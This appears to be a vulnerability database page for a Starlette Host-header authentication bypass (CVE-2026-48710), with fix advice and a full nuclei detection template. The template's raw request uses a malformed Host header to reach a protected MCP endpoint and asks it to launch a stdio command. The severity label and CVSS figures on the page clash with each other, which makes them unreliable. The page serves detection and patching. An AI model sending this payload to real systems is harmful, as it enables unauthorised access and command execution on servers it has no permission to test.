HexBrain

Browse / CVEs / CVE-2026-48710

CVE-2026-48710· Kludex / starlette· CWE-1289

Starlette - Improper Validation of Unsafe Equivalence in Input

Exploited in the wild. Listed by CISA on 2026-09-02; known to be used by ransomware.

criticalseverity
6.5CVSS score
70.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.

Impact

A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.

Fix

Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.

How to confirm it

Send: POST /mcp-rest/test/connection
Positive when: status_code == 401 and contains_any(body, "auth_error", "Authentication Error")
Send: POST /mcp-rest/test/connection
Positive when: contains "Failed to connect to MCP server" and "status" AND status 200

Run it with nuclei: nuclei -id CVE-2026-48710 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2026-48710

info:
  name: Starlette - Improper Validation of Unsafe Equivalence in Input
  author: ritikchaddha
  severity: critical
  description: |
    A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.
  impact: |
    A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.
  remediation: |
    Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.
  reference:
    - https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48710
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-48710
    epss-score: 0.70288
    epss-percentile: 0.99389
    cwe-id: CWE-1289
  metadata:
    max-request: 2
    vendor: Kludex
    product: starlette
    shodan-query: http.html:"starlette"
    fofa-query: body="starlette"
  tags: cve,cve2026,starlette,auth-bypass,badhost,vkev,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"transport":"stdio","command":"echo","args":["test"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains_any(body, "auth_error", "Authentication Error")'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: a/?x=
        Content-Type: application/json
        Content-Length: 54

        {"transport":"stdio","command":"echo","args":["test"]}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Failed to connect to MCP server"
          - "status"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from